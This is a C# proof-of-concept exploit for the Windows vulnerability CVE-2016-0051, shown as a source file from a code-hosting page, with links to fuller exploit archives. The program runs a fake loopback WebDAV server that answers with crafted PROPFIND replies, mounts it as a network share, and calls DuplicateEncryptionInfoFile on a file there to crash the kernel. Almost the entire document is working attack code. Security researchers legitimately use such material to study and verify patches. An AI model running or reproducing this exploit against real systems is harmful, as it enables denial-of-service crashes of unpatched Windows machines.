128 lines
No EOL
5.2 KiB
C
Executable file
128 lines
No EOL
5.2 KiB
C
Executable file
/*
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Source: https://github.com/koczkatamas/CVE-2016-0051
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Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
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Full Proof of Concept:
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https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip
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*/
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using System;
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using System.IO;
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using System.Linq;
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using System.Net;
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using System.Net.Sockets;
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using System.Runtime.InteropServices;
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using System.Text;
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using System.Threading;
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namespace BSoD
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{
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class Program
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{
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static void StartFakeWebDavServer(int port)
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{
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new Thread(() =>
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{
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var server = new TcpListener(IPAddress.Loopback, port);
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server.Start();
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while (true)
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{
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using (var client = server.AcceptTcpClient())
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using (var stream = client.GetStream())
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using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
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using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
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{
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Console.WriteLine(" =============== BEGIN REQUEST =============== ");
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Func<string> rl = () =>
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{
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var line = reader.ReadLine();
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Console.WriteLine("< " + line);
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return line;
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};
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Action<string> wl = outData =>
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{
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Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
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writer.Write(outData);
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};
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var header = rl().Split(' ');
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while (!string.IsNullOrWhiteSpace(rl())) { }
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if (header[0] == "OPTIONS")
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wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
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else if (header[0] == "PROPFIND")
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{
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var body = String.Format(@"
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<?xml version=""1.0"" encoding=""UTF-8""?>
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<D:multistatus xmlns:D=""DAV:"">
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<D:response>
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<D:href>{0}</D:href>
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<D:propstat>
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<D:prop>
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<D:creationdate>{1:s}Z</D:creationdate>
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<D:getcontentlength>{3}</D:getcontentlength>
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<D:getcontenttype>{4}</D:getcontenttype>
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<D:getetag>{5}</D:getetag>
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<D:getlastmodified>{6:R}</D:getlastmodified>
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<D:resourcetype>{8}</D:resourcetype>
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<D:supportedlock></D:supportedlock>
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<D:ishidden>{7}</D:ishidden>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
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wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
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}
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else
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wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
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Console.WriteLine(" =============== END REQUEST =============== ");
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}
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}
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}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
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}
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[StructLayout(LayoutKind.Sequential)]
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private class NETRESOURCE
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{
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public uint dwScope = 0;
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public uint dwType = 0;
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public uint dwDisplayType = 0;
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public uint dwUsage = 0;
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public string lpLocalName = null;
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public string lpRemoteName = null;
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public string lpComment = null;
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public string lpProvider = null;
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}
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[DllImport("mpr.dll")]
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private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
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[DllImport("Advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
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private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes);
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public static void Main(string[] args)
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{
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var p = new Random().Next(1024, 65535);
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StartFakeWebDavServer(p);
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var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\\127.0.0.1@" + p + @"\folder\" }, null, null, 0);
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Console.WriteLine("WNetAddConnection2 = " + addConnectionResult);
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var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\\127.0.0.1@" + p + @"\folder\file", "x", 2, 128, IntPtr.Zero);
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Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult);
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Console.WriteLine("BSoD did not happen.");
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Console.ReadLine();
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}
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}
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} |